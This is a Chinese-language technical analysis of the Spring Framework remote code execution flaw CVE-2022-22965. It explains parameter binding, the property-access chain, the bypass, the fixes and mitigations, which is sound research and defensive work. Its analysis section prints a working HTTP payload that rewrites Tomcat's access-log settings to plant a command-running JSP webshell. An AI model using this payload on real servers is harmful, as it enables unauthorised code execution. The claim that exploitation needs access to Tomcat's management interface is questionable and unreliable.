Spring-Framework RCE(CVE-2022-22965)分析
字数 2007 2025-08-07 08:22:39
Spring Framework RCE漏洞(CVE-2022-22965)深入分析与复现
0x00 漏洞概述
CVE-2022-22965是Spring Framework中的一个远程代码执行漏洞,本质上是CVE-2010-1622的绕过版本。该漏洞允许攻击者通过特制的HTTP请求修改Tomcat日志配置,实现任意文件写入和远程代码执行。
0x01 环境搭建
调试环境配置
-
Tomcat配置:
- 在Windows环境下修改
catalina.bat,增加调试参数:agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
- 在Windows环境下修改
-
IDEA配置:
- 打开Tomcat所在目录,添加Maven框架支持
- 新建project文件夹并添加Maven支持
- 编写Spring代码生成WAR包,放入Tomcat的webapps目录
- 配置IDEA远程调试连接到Tomcat
0x02 前置知识
Spring IoC机制
- 控制反转(IoC):将POJO和Bean的管理交给Spring容器
- 依赖注入:Spring负责对象的创建和依赖关系的维护
- 优势:开发者只需关注业务逻辑,无需关心对象创建和管理
参数绑定机制
-
基本绑定:
@RequestMapping("/bind") @ResponseBody public String bindTest(User user){ return user.toString(); }- 通过URL参数自动绑定到POJO对象
- 需要对应的getter/setter方法
-
层级绑定:
public class UserInfo { private Secret secret; // getter/setter }- 支持
secret.passwd=value形式的参数绑定 - Spring通过反射调用getter/setter完成赋值
- 支持
Java内省(Introspector)
- 功能:检查Bean的属性、方法和事件
- 特点:
- 通过
PropertyDescriptor获取Bean信息 - 会递归检查父类属性
- 即使没有定义属性,只要有getter/setter也会被视为属性
- 所有类都有
class属性(继承自Object类)
- 通过
BeanWrapperImpl
- 作用:Spring中用于操作Bean属性的核心类
- 关键方法:
getPropertyValue():获取属性值setPropertyValue():设置属性值
- 实现原理:基于Java内省机制
Tomcat日志机制
- AccessLogValve:Tomcat的访问日志阀门
- 关键配置:
pattern:日志格式suffix:日志文件后缀directory:日志目录prefix:日志文件前缀
- 变量替换:使用
%{xxx}格式,参考Tomcat文档
0x03 漏洞分析
POC示例
POST / HTTP/1.1
Host: ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: 803
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Diif(%22023%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20out.print(%22%3Cpre%3E%22);%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20out.print(%22%3C%2fpre%3E%22);%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=a&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
漏洞触发流程
-
参数解析:
- Spring解析
class.module.classLoader...形式的参数 - 按
.分割属性名,递归获取属性
- Spring解析
-
属性访问链:
User.getClass() → java.lang.Class.getModule() → java.lang.Module.getClassLoader() → org.apache.catalina.loader.ParallelWebappClassLoader.getResources() → org.apache.catalina.webresources.StandardRoot.getContext() → org.apache.catalina.core.StandardContext.getParent() → org.apache.catalina.core.StandardHost.getPipeline() → org.apache.catalina.core.StandardPipeline.getFirst() → org.apache.catalina.valves.AccessLogValve.setXxx() -
绕过原理:
- 原始防御只检查
class.classLoader - JDK9+引入了
module概念,使用class.module.classLoader绕过检查
- 原始防御只检查
-
利用效果:
- 修改Tomcat日志配置
- 写入恶意JSP文件到web目录
- 实现远程代码执行
0x04 漏洞修复
Spring修复方案
- 修复提交:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
- 修复内容:
- 限制只能获取
name或以Name结尾的PropertyDescriptor - 防止通过特殊属性链访问危险方法
- 限制只能获取
Tomcat修复方案
- 修复提交:https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddc
- 修复内容:
- 限制对
org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的访问
- 限制对
0x05 影响范围与限制
- JDK版本:仅影响JDK9及以上版本
- 部署方式:
- 主要影响传统Tomcat部署的Spring应用
- Spring Boot默认不受影响(使用嵌入式容器)
- 利用条件:
- 需要应用使用参数绑定功能
- 需要能够访问Tomcat的管理接口
0x06 防御建议
-
升级Spring Framework:
- 5.3.18+
- 5.2.20+
-
临时缓解措施:
- 在Web应用中添加参数过滤
- 限制对
class.*等敏感参数的绑定
-
环境加固:
- 使用JDK8(不受此漏洞影响)
- 考虑使用Spring Boot替代传统部署方式
0x07 总结
CVE-2022-22965漏洞展示了框架特性与安全机制的微妙关系:
- JDK新特性可能引入新的攻击面
- 框架的安全检查需要与时俱进
- 参数绑定等便利功能可能带来安全隐患
- 多层防御(框架+容器)能有效降低风险
该漏洞的实际危害受限于JDK版本和部署方式,但仍需引起足够重视,及时更新补丁。